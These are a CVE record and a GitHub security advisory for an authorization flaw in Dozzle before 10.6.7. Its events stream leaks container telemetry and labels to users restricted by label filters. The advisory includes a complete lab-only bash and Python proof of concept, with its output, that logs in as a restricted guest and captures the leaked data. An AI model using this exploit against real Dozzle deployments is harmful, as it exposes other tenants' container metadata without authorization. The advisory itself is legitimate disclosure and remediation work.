{
  "affected": [
    {
      "affectedData": [
        {
          "product": "dozzle",
          "vendor": "amir20",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 10.6.7"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Dozzle is a realtime log viewer for docker containers. Prior to 10.6.7, streamEvents in internal/web/events.go applies a restricted user\u0027s label filter to container lists but not to the container-stat and container-event channels returned by GET /api/events/stream. In a simple-auth deployment using per-user filters, any authenticated restricted account can receive resource telemetry and lifecycle events for containers outside its authorized label scope. The exposed data includes container names, images, full label maps, CPU and memory use, network and disk totals, and deployment or restart activity across monitored hosts, but does not include log contents, environment values, or exec access. This issue is fixed in version 10.6.7."
    }
  ],
  "id": "CVE-2026-62286",
  "lastModified": "2026-09-24T19:17:15.657",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-24T19:17:15.657",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/amir20/dozzle/commit/19c01e0fb491c170796edba3da2692562c204e77"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/amir20/dozzle/pull/4803"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/amir20/dozzle/releases/tag/v10.6.7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-xcw9-qmmf-vqxj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        },
        {
          "lang": "en",
          "value": "CWE-285"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/amir20/dozzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1-0.20260622172006-19c01e0fb491"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62286"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T18:15:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nDozzle supports per-user label filters in `users.yml` that are documented as an access-control boundary: \"Filters are used to restrict the containers that a user can see\" and \"the `guest` user can only see containers with the label `com.example.app` \u2026 useful for restricting access to specific containers\" (docs/guide/authentication.md). This is the mechanism operators use to give different users/tenants visibility into disjoint subsets of containers on the same host.\n\nThe events stream handler `streamEvents` (GET `/api/events/stream`) honors that filter for the initial container list and for the incremental `containers-changed` updates, but it forwards two other channels \u2014 `container-stat` (live per-container CPU, memory, network and disk telemetry) and `container-event` (container lifecycle events: start/die/destroy/rename/pause/unpause, with the container\u0027s full attribute/label set) \u2014 to every authenticated client unconditionally, with no comparison against the caller\u0027s label filter. The upstream subscription `SubscribeEventsAndStats` fans out across every Docker client/host and never receives a label filter at all.\n\nAs a result, any authenticated user \u2014 including one explicitly constrained to a single label scope \u2014 receives live resource telemetry for every container on every monitored host, plus lifecycle events carrying each container\u0027s name, image and complete label map. This crosses the exact isolation boundary the filter feature is documented to enforce. The leak requires no special role (it is not gated behind the shell/actions/download roles) and works on the local Docker host, so it is distinct from the previously-patched agent-path exec/attach bypass (CVE-2026-24740 / GHSA-m855-r557-5rc5) and from the exec/attach CSWSH issue (CVE-2026-44985 / GHSA-j643-x8pv-8m67).\n\n## Affected code (v10.6.5)\n\n`internal/web/events.go` \u2014 `streamEvents`. The handler resolves the caller\u0027s `userLabels` and applies them to the initial list (`ListAllContainers(userLabels)`) and to the `containers-changed` increment (`ListContainersForHost(event.Host, userLabels)`), but forwards `container-stat` and the raw `container-event` with no filter check:\n\n```go\nh.hostService.SubscribeEventsAndStats(r.Context(), events, stats)   // no labels passed\n...\nuserLabels := h.config.Labels\nif h.config.Authorization.Provider != NONE {\n    user := auth.UserFromContext(r.Context())\n    if user.ContainerLabels.Exists() {\n        userLabels = user.ContainerLabels\n    }\n}\nallContainers, errors := h.hostService.ListAllContainers(userLabels)   // filtered (correct)\n...\ncase stat := \u003c-stats:\n    if err := sseWriter.Event(\"container-stat\", stat); err != nil {     // NOT filtered\n        ...\n    }\ncase event, ok := \u003c-events:\n    ...\n    switch event.Name {\n    case \"start\", \"die\", \"destroy\", \"rename\", \"pause\", \"unpause\":\n        if event.Name == \"start\" || event.Name == \"rename\" {\n            if containers, err := h.hostService.ListContainersForHost(event.Host, userLabels); err == nil {\n                ... sseWriter.Event(\"containers-changed\", containers) ... // filtered (correct)\n            }\n        }\n        if err := sseWriter.Event(\"container-event\", event); err != nil { // NOT filtered\n            ...\n        }\n```\n\n`internal/support/docker/multi_host_service.go` \u2014 `SubscribeEventsAndStats` subscribes to events and stats from every client with no label filter argument:\n\n```go\nfunc (m *MultiHostService) SubscribeEventsAndStats(ctx context.Context, events chan\u003c- container.ContainerEvent, stats chan\u003c- container.ContainerStat) {\n    for _, client := range m.manager.List() {\n        client.SubscribeEvents(ctx, events)\n        client.SubscribeStats(ctx, stats)\n    }\n}\n```\n\nThe payloads carry the disclosed data. `ContainerStat` (internal/container/types.go) includes `id`, `cpu`, `memory`, `memoryUsage`, `networkRxTotal`, `networkTxTotal`, `diskReadTotal`, `diskWriteTotal`. `ContainerEvent` includes `host`, `actorId` and `actorAttributes` (a `map[string]string`), which for `start` events contains the container name, image, and every label.\n\n## Attacker model / precondition\n\nThe attacker is an authenticated low-privilege user of a Dozzle instance configured with simple auth (`DOZZLE_AUTH_PROVIDER=simple`) and at least one user whose `filter:` restricts them to a subset of containers \u2014 the standard multi-user / multi-tenant configuration the filter feature exists for. The attacker holds valid credentials for such a restricted account (or any account; the leak applies to whatever the account\u0027s filter excludes). No shell/actions/download role is required and no victim interaction is needed; the attacker simply opens the SSE stream that the normal UI already opens on load.\n\nWhat bounds severity: the disclosure is limited to container metadata and resource telemetry \u2014 it does not by itself expose container log contents, environment-variable values, or the ability to exec/attach (those paths apply the filter correctly on the local host). It requires an authenticated account and only matters when per-user filters are actually used to separate tenants/environments; a single-user or unfiltered deployment has nothing to leak. Hence Confidentiality:Low, no Integrity/Availability impact.\n\n## Impact\n\nA user constrained to one label scope can continuously enumerate, on every monitored host:\n\n- The existence and identity of every container outside their scope, via `container-event` `actorId` plus `actorAttributes` (container name, image name, and the full label map \u2014 which is exactly the information the filter feature is meant to hide, and may itself encode tenant/project/environment names such as `secretproject=acme-payroll`).\n- Live operational telemetry for those containers \u2014 CPU%, memory% and bytes, network RX/TX totals, disk read/write totals \u2014 updated every few seconds, enabling activity profiling, traffic/throughput inference, and load monitoring of other tenants\u0027 workloads.\n- Lifecycle activity (deployments, restarts, crashes, pauses) of out-of-scope containers in real time.\n\nIn a multi-tenant or environment-segregated deployment (dev user must not see prod, tenant A must not see tenant B), this defeats the intended isolation for the telemetry/metadata plane while the UI still presents the user with their correctly-filtered single-container view.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nLab only. Requires Docker on the local host. Uses the official `amir20/dozzle:v10.6.5` image. It creates one container the `guest` user is allowed to see (label `visible=yes`) and one the guest must NOT see (`dz_secret`, no such label), logs in as the restricted guest, and shows that the documented filtered channel returns exactly the one authorized container while the `container-stat` and `container-event` channels leak the forbidden container\u0027s telemetry and metadata.\n\n```bash\nset -e\nWORK=$(mktemp -d); cd \"$WORK\"; mkdir -p data\n\n# 1. Build a users.yml with an unrestricted admin and a guest filtered to label=visible=yes.\ndocker run --rm amir20/dozzle:v10.6.5 generate admin --password adminpass --name Admin \u003e data/users.yml\ndocker run --rm amir20/dozzle:v10.6.5 generate guest --password guestpass --name Guest \\\n  --user-filter \"label=visible=yes\" --user-roles all \u003e guest.yml\npython3 - \u003c\u003c\u0027PY\u0027\nadmin=open(\"data/users.yml\").read()\nguest=open(\"guest.yml\").read().split(\"users:\\n\",1)[1]\nopen(\"data/users.yml\",\"w\").write(admin.rstrip()+\"\\n\"+guest)\nPY\n\n# 2. Start two workload containers: one the guest IS allowed to see, one it is NOT.\ndocker rm -f dz_visible dz_secret dozzle_lab 2\u003e/dev/null || true\ndocker run -d --name dz_visible --label visible=yes alpine \\\n  sh -c \u0027while true; do echo \"visible-log $(date)\"; sleep 2; done\u0027 \u003e/dev/null\ndocker run -d --name dz_secret --label secretproject=acme-payroll alpine \\\n  sh -c \u0027while true; do echo \"SECRET-log $(date)\"; sleep 2; done\u0027 \u003e/dev/null\n\n# 3. Start Dozzle v10.6.5 with simple auth, bound to loopback only.\ndocker run -d --name dozzle_lab -p 127.0.0.1:8083:8080 \\\n  -v /var/run/docker.sock:/var/run/docker.sock:ro \\\n  -v \"$PWD/data:/data\" \\\n  -e DOZZLE_AUTH_PROVIDER=simple \\\n  amir20/dozzle:v10.6.5 \u003e/dev/null\nsleep 4\n\nB=http://127.0.0.1:8083\nSECRET_ID=$(docker inspect -f \u0027{{.Id}}\u0027 dz_secret)\nVIS_ID=$(docker inspect -f \u0027{{.Id}}\u0027 dz_visible)\n\n# 4. Authenticate as the restricted guest.\ncurl -s -c guest.cookies -X POST \"$B/api/token\" -d \u0027username=guest\u0027 -d \u0027password=guestpass\u0027 -o /dev/null\n\n# 5. Capture the events SSE stream as the guest for ~10s, triggering a lifecycle\n#    event on the forbidden container partway through.\n( timeout 10 curl -s -N -b guest.cookies \"$B/api/events/stream\" \u003e guest_events.txt 2\u003e/dev/null ) \u0026\nsleep 3\ndocker restart dz_secret \u003e/dev/null     # generate die/start container-events for dz_secret\nwait\n\n# 6. Analyze: the documented filtered channel vs the two leaking channels.\npython3 - \"$SECRET_ID\" \"$VIS_ID\" \u003c\u003c\u0027PY\u0027\nimport json,sys\nsecret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12]\nev=None; list_ids=set(); stat_ids=set(); evt=[]\nsecret_stat=None; secret_start_attrs=None\nfor line in open(\"guest_events.txt\"):\n    line=line.rstrip(\"\\n\")\n    if line.startswith(\"event:\"): ev=line[6:].strip()\n    elif line.startswith(\"data:\"):\n        try: j=json.loads(line[5:].strip())\n        except: continue\n        if ev==\"containers-changed\" and isinstance(j,list):\n            for c in j:\n                if isinstance(c,dict) and c.get(\"id\"): list_ids.add(c[\"id\"])\n        elif ev==\"container-stat\" and isinstance(j,dict):\n            if j.get(\"id\"): stat_ids.add(j[\"id\"])\n            if j.get(\"id\")==s12: secret_stat=j\n        elif ev==\"container-event\" and isinstance(j,dict):\n            evt.append((j.get(\"name\"),j.get(\"actorId\")))\n            if j.get(\"actorId\")==s12 and j.get(\"actorAttributes\"):\n                secret_start_attrs=j[\"actorAttributes\"]\nprint(\"=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===\")\nprint(\"  containers the guest is authorized to see:\", len(list_ids), \"-\u003e\", sorted(x[:12] for x in list_ids))\nprint(\"  secret container present?:\", s12 in {x[:12] for x in list_ids}, \"(expected False)\")\nprint()\nprint(\"=== LEAK CHANNEL 1: container-stat (NOT filtered) ===\")\nprint(\"  distinct containers in stat stream:\", len(stat_ids))\nprint(\"  secret container telemetry leaked?:\", s12 in {x[:12] for x in stat_ids}, \"(VULN if True)\")\nif secret_stat: print(\"  leaked dz_secret stat payload:\", json.dumps(secret_stat))\nprint()\nprint(\"=== LEAK CHANNEL 2: container-event (NOT filtered) ===\")\nprint(\"  lifecycle events leaked for dz_secret:\", [e for e in evt if e[1]==s12])\nif secret_start_attrs: print(\"  leaked dz_secret attributes:\", json.dumps(secret_start_attrs))\nPY\n\n# 7. Cleanup.\ndocker rm -f dz_visible dz_secret dozzle_lab \u003e/dev/null\ncd /; rm -rf \"$WORK\"\n```\n\nObserved output (host details elided; the salient lines):\n\n```\n=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===\n  containers the guest is authorized to see: 1 -\u003e [\u002787a94222ba1d\u0027]\n  secret container present?: False (expected False)\n\n=== LEAK CHANNEL 1: container-stat (NOT filtered) ===\n  distinct containers in stat stream: 10\n  secret container telemetry leaked?: True (VULN if True)\n  leaked dz_secret stat payload: {\"id\": \"9ec5e9a970d9\", \"cpu\": 0, \"memory\": 0.00228, \"memoryUsage\": 487424, \"networkRxTotal\": 2444, \"networkTxTotal\": 126, \"diskReadTotal\": 0, \"diskWriteTotal\": 0}\n\n=== LEAK CHANNEL 2: container-event (NOT filtered) ===\n  lifecycle events leaked for dz_secret: [(\u0027die\u0027, \u00279ec5e9a970d9\u0027), (\u0027start\u0027, \u00279ec5e9a970d9\u0027)]\n  leaked dz_secret attributes: {\"env\": \"prod\", \"image\": \"nginx:alpine\", \"name\": \"dz_secret\", \"secretproject\": \"acme-payroll\"}\n```\n\nThe guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers \u2014 including `dz_secret` \u2014 and leaks `dz_secret`\u0027s name, image and labels (including `secretproject=acme-payroll`) via lifecycle events. The negative control is the `containers-changed`/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container.\n\n## Remediation\n\nApply the caller\u0027s `userLabels` to the `container-stat` and `container-event` channels in `streamEvents`, exactly as is already done for the container list. Concretely:\n\n- Maintain, per connection, the set of container IDs visible under the caller\u0027s `userLabels` (it is already computed for the initial list and refreshed on `containers-changed`), and drop any `container-stat` whose `id` is not in that set before calling `sseWriter.Event(\"container-stat\", ...)`.\n- For each `container-event`, resolve the event\u0027s container under `userLabels` (e.g. via `FindContainer(event.Host, event.ActorID, userLabels)` on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for the `container-updated` and `container-health` branches, which carry `actorId`/container data for arbitrary containers.\n- Alternatively/additionally, push the label filter down into `SubscribeEventsAndStats` so the fan-out itself only emits stats/events for containers matching the caller\u0027s filter, mirroring how `SubscribeContainersStarted` already takes a `ContainerFilter`.\n- Add regression tests asserting that a user with `filter: label=visible=yes` receives `container-stat` and `container-event` only for matching containers, even when other containers are active on the host.\n\nPlease credit 5ud0 / Tarmo Technologies.",
  "id": "GHSA-xcw9-qmmf-vqxj",
  "modified": "2026-09-24T18:15:10Z",
  "published": "2026-09-24T18:15:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-xcw9-qmmf-vqxj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/pull/4803"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/commit/19c01e0fb491c170796edba3da2692562c204e77"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amir20/dozzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/releases/tag/v10.6.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dozzle label filters do not restrict container event and statistics streams"
}